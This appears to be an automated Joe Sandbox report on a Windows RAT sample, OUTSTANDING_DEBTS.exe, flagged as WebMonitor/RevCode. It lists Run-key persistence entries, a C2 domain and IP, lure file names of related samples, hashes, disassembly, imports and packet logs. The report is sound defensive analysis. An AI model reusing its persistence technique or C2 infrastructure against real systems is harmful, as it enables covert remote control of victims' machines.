missing behavior information Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:11:07	API Interceptor	1x Sleep call for process: OUTSTANDING_DEBTS.exe modified
07:12:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-3868 C:\Users\user\AppData\Roaming\WebMonitor-3868.exe
07:12:32	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-3868 C:\Users\user\AppData\Roaming\WebMonitor-3868.exe
07:12:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-3868 C:\Users\user\AppData\Roaming\WebMonitor-3868.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
194.58.200.20	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse
	Banking_cordinates_928273.exe	Get hash	malicious	Browse
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse
	allcrhfJER.exe	Get hash	malicious	Browse
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	Browse
	FILE_2932NH_9923.exe	Get hash	malicious	Browse
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse
	OFfcxY5xia.exe	Get hash	malicious	Browse
	Z2YNNlDA9o.exe	Get hash	malicious	Browse
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse
	lc3of5dOat.exe	Get hash	malicious	Browse
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse
	IMA_2021-03-10.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse
	Code.exe	Get hash	malicious	Browse
	IRS RELIEF PDF.exe	Get hash	malicious	Browse
	tax-relief.exe	Get hash	malicious	Browse
45.153.186.90	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse
	Banking_cordinates_928273.exe	Get hash	malicious	Browse
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse
	FILE_2932NH_9923.exe	Get hash	malicious	Browse
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse
	OFfcxY5xia.exe	Get hash	malicious	Browse
	Z2YNNlDA9o.exe	Get hash	malicious	Browse
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse
	lc3of5dOat.exe	Get hash	malicious	Browse
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse
	IMA_2021-03-10.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse
	Code.exe	Get hash	malicious	Browse
	IRS RELIEF PDF.exe	Get hash	malicious	Browse
	tax-relief.exe	Get hash	malicious	Browse
	1Rv2jMLk7F.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ntp.se	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse	194.58.200.20
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	194.58.200.20
	Banking_cordinates_928273.exe	Get hash	malicious	Browse	194.58.200.20
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	194.58.200.20
	allcrhfJER.exe	Get hash	malicious	Browse	194.58.200.20
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	194.58.200.20
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	OFfcxY5xia.exe	Get hash	malicious	Browse	194.58.200.20
	Z2YNNlDA9o.exe	Get hash	malicious	Browse	194.58.200.20
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	194.58.200.20
	lc3of5dOat.exe	Get hash	malicious	Browse	194.58.200.20
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse	194.58.200.20
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	IMA_2021-03-10.exe	Get hash	malicious	Browse	194.58.200.20
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse	194.58.200.20
	Code.exe	Get hash	malicious	Browse	194.58.200.20
	IRS RELIEF PDF.exe	Get hash	malicious	Browse	194.58.200.20
	tax-relief.exe	Get hash	malicious	Browse	194.58.200.20
niiarmah.wm01.to	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse	45.153.186.90
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	45.153.186.90
	Banking_cordinates_928273.exe	Get hash	malicious	Browse	45.153.186.90
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	45.153.186.90
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	45.153.186.90
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	45.153.186.90
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	45.153.186.90
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	45.153.186.90
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse	45.153.186.90
sdns.se	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse	185.243.215.214
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	185.243.215.214
	Banking_cordinates_928273.exe	Get hash	malicious	Browse	185.243.215.214
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	185.243.215.214
	allcrhfJER.exe	Get hash	malicious	Browse	185.243.215.214
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	Browse	185.243.215.214
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	185.243.215.214
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	185.243.215.214
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	185.243.215.214
	OFfcxY5xia.exe	Get hash	malicious	Browse	185.243.215.214
	Z2YNNlDA9o.exe	Get hash	malicious	Browse	185.243.215.214
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	185.243.215.214
	lc3of5dOat.exe	Get hash	malicious	Browse	185.243.215.214
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse	185.243.215.214
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse	185.243.215.214
	IMA_2021-03-10.exe	Get hash	malicious	Browse	185.243.215.214
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse	185.243.215.214
	Code.exe	Get hash	malicious	Browse	185.61.148.26
	IRS RELIEF PDF.exe	Get hash	malicious	Browse	185.61.148.26
	tax-relief.exe	Get hash	malicious	Browse	185.61.148.26

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
NTP-SEAnycastedNTPservicesfromNetnodIXPsSE	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse	194.58.200.20
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	194.58.200.20
	Banking_cordinates_928273.exe	Get hash	malicious	Browse	194.58.200.20
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	194.58.200.20
	allcrhfJER.exe	Get hash	malicious	Browse	194.58.200.20
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	194.58.200.20
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	OFfcxY5xia.exe	Get hash	malicious	Browse	194.58.200.20
	Z2YNNlDA9o.exe	Get hash	malicious	Browse	194.58.200.20
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	194.58.200.20
	lc3of5dOat.exe	Get hash	malicious	Browse	194.58.200.20
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse	194.58.200.20
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	IMA_2021-03-10.exe	Get hash	malicious	Browse	194.58.200.20
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse	194.58.200.20
	Code.exe	Get hash	malicious	Browse	194.58.200.20
	IRS RELIEF PDF.exe	Get hash	malicious	Browse	194.58.200.20
	tax-relief.exe	Get hash	malicious	Browse	194.58.200.20
MVPShttpswwwmvpsnetEU	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse	45.153.186.90
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	45.153.186.90
	Banking_cordinates_928273.exe	Get hash	malicious	Browse	45.153.186.90
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	45.153.186.90
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	45.153.186.90
	d6N339EMPr.exe	Get hash	malicious	Browse	45.153.186.187
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	45.153.186.90
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	45.153.186.90
	OFfcxY5xia.exe	Get hash	malicious	Browse	45.153.186.90
	1FysgNhnWC.exe	Get hash	malicious	Browse	2.56.212.39
	BFfrxGDQx7.exe	Get hash	malicious	Browse	2.56.212.39
	UnuiloxBcq.exe	Get hash	malicious	Browse	2.56.212.39
	Z2YNNlDA9o.exe	Get hash	malicious	Browse	45.153.186.90
	o7w2HSi17V.exe	Get hash	malicious	Browse	178.157.82.127
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	45.153.186.90
	85ASXq9rnd.exe	Get hash	malicious	Browse	2.56.213.5
	lc3of5dOat.exe	Get hash	malicious	Browse	45.153.186.90
	Sysdiagnostic.exe	Get hash	malicious	Browse	178.157.91.42
	ONS-2_exe.exe	Get hash	malicious	Browse	93.115.21.128
	mvJMfkrri8.exe	Get hash	malicious	Browse	93.115.21.128

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	lo3H2fUlKG.exe	Get hash	malicious	Browse	45.153.186.90
	WaGakF2Npe.exe	Get hash	malicious	Browse	45.153.186.90
	UTF-8B8J+WqA=.html	Get hash	malicious	Browse	45.153.186.90
	eckZIk8YNA.exe	Get hash	malicious	Browse	45.153.186.90
	pnrsGIs6Ds.exe	Get hash	malicious	Browse	45.153.186.90
	HEevUIuwis.exe	Get hash	malicious	Browse	45.153.186.90
	eckZIk8YNA.exe	Get hash	malicious	Browse	45.153.186.90
	567pxYIYcp.exe	Get hash	malicious	Browse	45.153.186.90
	ZV7Rx5WvsS.exe	Get hash	malicious	Browse	45.153.186.90
	mwV0Ye6koj.exe	Get hash	malicious	Browse	45.153.186.90
	u3UDTpV7li.exe	Get hash	malicious	Browse	45.153.186.90
	bSL9yTxjQf.exe	Get hash	malicious	Browse	45.153.186.90
	MNBQBKDtjx.exe	Get hash	malicious	Browse	45.153.186.90
	pGH6Mw38Tz.exe	Get hash	malicious	Browse	45.153.186.90
	II69L9J7Rt.exe	Get hash	malicious	Browse	45.153.186.90
	August Order Design.exe	Get hash	malicious	Browse	45.153.186.90
	AFChzmSsOD.exe	Get hash	malicious	Browse	45.153.186.90
	VtnLEsR9lB.exe	Get hash	malicious	Browse	45.153.186.90
	WPnJA3irdd.exe	Get hash	malicious	Browse	45.153.186.90
	Pavrprweznwsxlwvibzdvukbmwvfrgdoyt.exe	Get hash	malicious	Browse	45.153.186.90

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe
File Type:	Microsoft Cabinet archive data, 61020 bytes, 1 file
Category:	dropped
Size (bytes):	61020
Entropy (8bit):	7.994886945086499
Encrypted:	true
SSDEEP:	1536:IZ/FdeYPeFusuQszEfL0/NfXfdl5lNQbGxO4EBJE:0tdeYPiuWAVtlLBGm
MD5:	2902DE11E30DCC620B184E3BB0F0C1CB
SHA1:	5D11D14A2558801A2688DC2D6DFAD39AC294F222
SHA-256:	E6A7F1F8810E46A736E80EE5AC6187690F28F4D5D35D130D410E20084B2C1544
SHA-512:	EFD415CDE25B827AC2A7CA4D6486CE3A43CDCC1C31D3A94FD7944681AA3E83A4966625BF2E6770581C4B59D05E35FF9318D9ADADDADE9070F131076892AF2FA0
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....\.......,...................I........l.........R.q .authroot.stl.N....5..CK..8T....c_.d....A.K....=.D.eWI..r."Y...."i..,.=.l.D.....3...3WW.......y...9..w..D.yM10....`.0.e.._.'..a0xN....)F.C..t.z.,.O20.1``L.....m?H..C..X>Oc..q.....%.!^v%<...O...-..@/.......H.J.W...... T...Fp..2.\|$....._Y..Y`&..s.1........s.{..,.":o}9.......%._.xWS.K..4"9......q.G:.........a.H.y.. ..r...q./6.p.;.`=.Dwj......!......s).B..y.......A.!W.........D!s0..!"X...l.....D0...........Ba...Z.0.o..l.3.v..W1F hSp.S)@.....'Z..QW...G...G.G.y+.x...aa`.3..X&4E..N...._O..<X.......K...xm..+M...O.H...)............o..~4.6.......p.`Bt.(..V.N.!.p.C>..%.ySXY.>.`..f\|....'^K`\..e......j/..\|..)..&i...wEj.w...o..r<.$.....C.....}.x...L..&..).r..\...>....v........7...^..L!.$..'m...,.....7F$..~..S.6$S.-y....\|.!.....x...~k...Q/.w.e...h.[...9<x...Q.x.][}_%Z..K.).3..'....M.6QkJ.N........Y..Q.n.[.(.... ...Bg..33..[...S..[... .Z..<i.-.]...po.k.,...X6......y3^.t[.Dw.]ts. R..L..`..ut_F....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe
File Type:	data
Category:	dropped
Size (bytes):	326
Entropy (8bit):	3.145340414441777
Encrypted:	false
SSDEEP:	6:kKbYMCdoW+N+SkQlPlEGYRMY9z+4KlDA3RUeIlD1Ut:z5+5kPlE99SNxAhUe0et
MD5:	F97AE60F34D06BE780E2566C87B4CBB4
SHA1:	CEFE9B9C994F60940441DD802BEB3F872C4A7940
SHA-256:	28CDCAABD46E2E52A6693D231305E0FC291C967B39752FD9C6308E644AEA1977
SHA-512:	9AF72C72980DE85B1AB97A1CE9DE49E0658AA0C604AF8E95032B3DDCC3B3F6B6F7C48CC9566D7F70503BC04567D3F70793A7BD29431676888090B21D52A3E144
Malicious:	false
Reputation:	low
Preview:	p...... ........8M....(....................................................... .........T'._......$...........\...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.d.6.5.4.2.7.7.5.f.d.7.1.:.0."...

C:\Users\user\Desktop\d70d27bc.bin Download File
Process:	C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe
File Type:	HTML document, ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	323
Entropy (8bit):	5.690808127430324
Encrypted:	false
SSDEEP:	6:i0p4rU4ATfJfB/opSg4sxo/ZM+tCUeoHudB91FmjooQ/c:i0aAfJfBwpSmox51HuD91FmJQE
MD5:	A10651361EDC1433FB0E3A658957922B
SHA1:	820C25C35CC0D2F3E84FFB58F1AF02DA759B4FA1
SHA-256:	20925A8DCBE78BF2D194B4179AB0B2DF6CF4E88615E1F09BCCEA18E392EAF5C8
SHA-512:	215C9D84EC450DBBA6DE5FDAC95AFE21BAAFAA5BB258C877D7240AA9F2B0494E04B68EB4978FAFE196E51E45E7F0402DB91F05A3A01A31FE17EFC54E779C320E
Malicious:	false
Reputation:	low
Preview:	<block><date>zWKBcTaqRnzyWcxBfsiWxhZRi3WwVSL2i1vUjagTcO4=</date><title>IM88QXhfTRAHeZsnqbQeZQ==</title></block><block><data>nT6WAy9unLzIZ+rP9rwRjw==</data><date>zWKBcTaqRnzyWcxBfsiWxtWmUVj1zEshFKxOP+QkJbY=</date><title>NNzSTPP1H1bR3wC/zIhoX0ynuRclzReicu2dvmJJeChX8dE+zP5OpKLBtV/Hq9m2qi576iKVjO1N1TrhTf3z6g==</title></block>

Static File Info

General
File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.832248563158368
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	OUTSTANDING_DEBTS.exe
File size:	1322252
MD5:	a0cb248c9464e9ea4f72ebc7d7807e98
SHA1:	d049bc23f0604897e32ac0f76f52677a7c8ce991
SHA256:	28fd0fcdf202f29eaaee33d23939cd5bdd75bd68ee4c7815d4ca4dd2e6a04be5
SHA512:	4849ad39e130e6513ba56d5a23eae54c73f3f7436ff3a289ebc93ab5106bb9ba56f8b58d543b94576c07ff3c79991e9f3a7f85ad84d9ac4d0317dde2b83dce2c
SSDEEP:	24576:3qi8cepZHTsP09VGLHRteRCVdjoWfHNcL9NTYV82qU9tUk+MPAnh7wr:3EdTsPHuCPoQtgNTe82vhnPRr
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(...l...l...l...7...f...7.......7...~.......o...>...I...>...~...>...}...7...k...l.......:...m...:...m...l.~.m...:...m...Richl..

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x406940
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	GUARD_CF, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6119AD17 [Mon Aug 16 00:11:03 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	82004e82653b7bafbfcf73a18d8cef95

Entrypoint Preview

Instruction
call 00007F346CD58911h
jmp 00007F346CD58347h
call 00007F346CD58959h
push eax
call 00007F346CD789ACh
pop ecx
ret
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F346CD5854Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F346CD5853Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F346CD5853Eh
add edx, 28h
cmp edx, esi
jne 00007F346CD5851Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F346CD5852Bh
jmp 00007F346CD7919Bh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
test eax, eax
je 00007F346CD58558h
mov ecx, 00005A4Dh
cmp word ptr [eax], cx
jne 00007F346CD5854Eh
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
cmp dword ptr [ecx], 00004550h
jne 00007F346CD58541h
mov eax, 0000010Bh
cmp word ptr [ecx+18h], ax
jne 00007F346CD58536h
mov al, 01h
pop ebp
ret
xor al, al
pop ebp
ret
mov eax, dword ptr fs:[00000018h]
ret
push esi
call 00007F346CD58DF9h
test eax, eax
je 00007F346CD58552h
mov eax, dword ptr fs:[00000018h]
mov esi, 00453A80h
mov edx, dword ptr [eax+04h]
jmp 00007F346CD58536h
cmp edx, eax
je 00007F346CD58542h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F346CD58522h
xor al, al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x51c14	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x56000	0x25b8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x50bac	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x50bc8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x49000	0x1a4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4702a	0x47200	False	0.445999011424	data	6.5962759588	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x49000	0x9558	0x9600	False	0.447447916667	data	5.08396460047	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x53000	0x1d2c	0xc00	False	0.185546875	data	2.40387675085	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x55000	0x1e0	0x200	False	0.52734375	data	4.71229819329	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x56000	0x25b8	0x2600	False	0.812191611842	data	6.68649505737	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_MANIFEST	0x55060	0x17d	XML 1.0 document text	English	United States

Imports

DLL	Import
KERNEL32.dll	lstrlenW, MultiByteToWideChar, WideCharToMultiByte, GetConsoleOutputCP, lstrcpyW, SetEndOfFile, HeapReAlloc, HeapSize, GetConsoleCP, FlushFileBuffers, lstrcmpiW, lstrcmpW, FormatMessageW, LocalFree, GetProcAddress, GetModuleHandleW, GetLastError, CloseHandle, WriteFile, CreateFileW, WriteConsoleW, GetStdHandle, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetCurrentProcess, TerminateProcess, InterlockedPushEntrySList, InterlockedFlushSList, RtlUnwind, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, EncodePointer, RaiseException, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, GetCommandLineA, GetCommandLineW, GetCurrentThread, GetStringTypeW, HeapFree, HeapAlloc, GetFileType, ReadFile, GetConsoleMode, ReadConsoleW, OutputDebugStringW, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, SetStdHandle, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetDateFormatW, GetTimeFormatW, CompareStringW, LCMapStringW, GetProcessHeap, SetConsoleCtrlHandler, GetFileSizeEx, SetFilePointerEx, DecodePointer
USER32.dll	GrayStringA, GetDC, MessageBoxA
ADVAPI32.dll	RegDeleteTreeW, RegSetValueExW, RegQueryValueExW, RegOpenKeyExW, RegOpenKeyW, RegEnumValueW, RegEnumKeyExW, RegDeleteValueW, RegCreateKeyExW, RegCreateKeyW, RegCloseKey

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
08/16/21-07:11:09.430036	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:09.430056	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:13.079949	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:13.079989	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:19.542034	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:22.775179	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:22.775195	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:25.909947	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:25.910003	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:29.526044	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:35.926732	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:35.926757	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:35.926765	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:39.158046	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:11:42.230110	ICMP	399	ICMP Destination Unreachable Host Unreachable			185.242.229.94	192.168.2.3
08/16/21-07:12:18.581984	UDP	2032361	ET TROJAN WebMonitor/RevCode RAT CnC Domain in DNS Lookup	55359	53	192.168.2.3	8.8.8.8
08/16/21-07:12:29.139208	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.3	114.114.114.114

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 16, 2021 07:12:18.667954922 CEST	49748	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:18.694686890 CEST	443	49748	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:18.694854975 CEST	49748	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:18.716008902 CEST	49748	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:18.743237019 CEST	443	49748	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:18.953578949 CEST	443	49748	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:18.953620911 CEST	443	49748	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:18.953677893 CEST	49748	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:18.953712940 CEST	49748	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:20.150870085 CEST	49748	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:20.174953938 CEST	443	49748	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:20.175080061 CEST	443	49748	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:20.175241947 CEST	49748	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:20.183983088 CEST	49748	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:20.248498917 CEST	443	49748	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:20.404079914 CEST	443	49748	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:20.404351950 CEST	49748	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:20.557751894 CEST	49750	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:20.583462000 CEST	443	49750	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:20.583781958 CEST	49750	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:20.585201025 CEST	49750	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:20.609563112 CEST	443	49750	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:20.731962919 CEST	443	49750	45.153.186.90	192.168.2.3
Aug 16, 2021 07:12:20.732342005 CEST	49750	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:20.733273983 CEST	49750	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:20.743662119 CEST	49750	443	192.168.2.3	45.153.186.90
Aug 16, 2021 07:12:20.760117054 CEST	443	49750	45.153.186.90	192.168.2.3
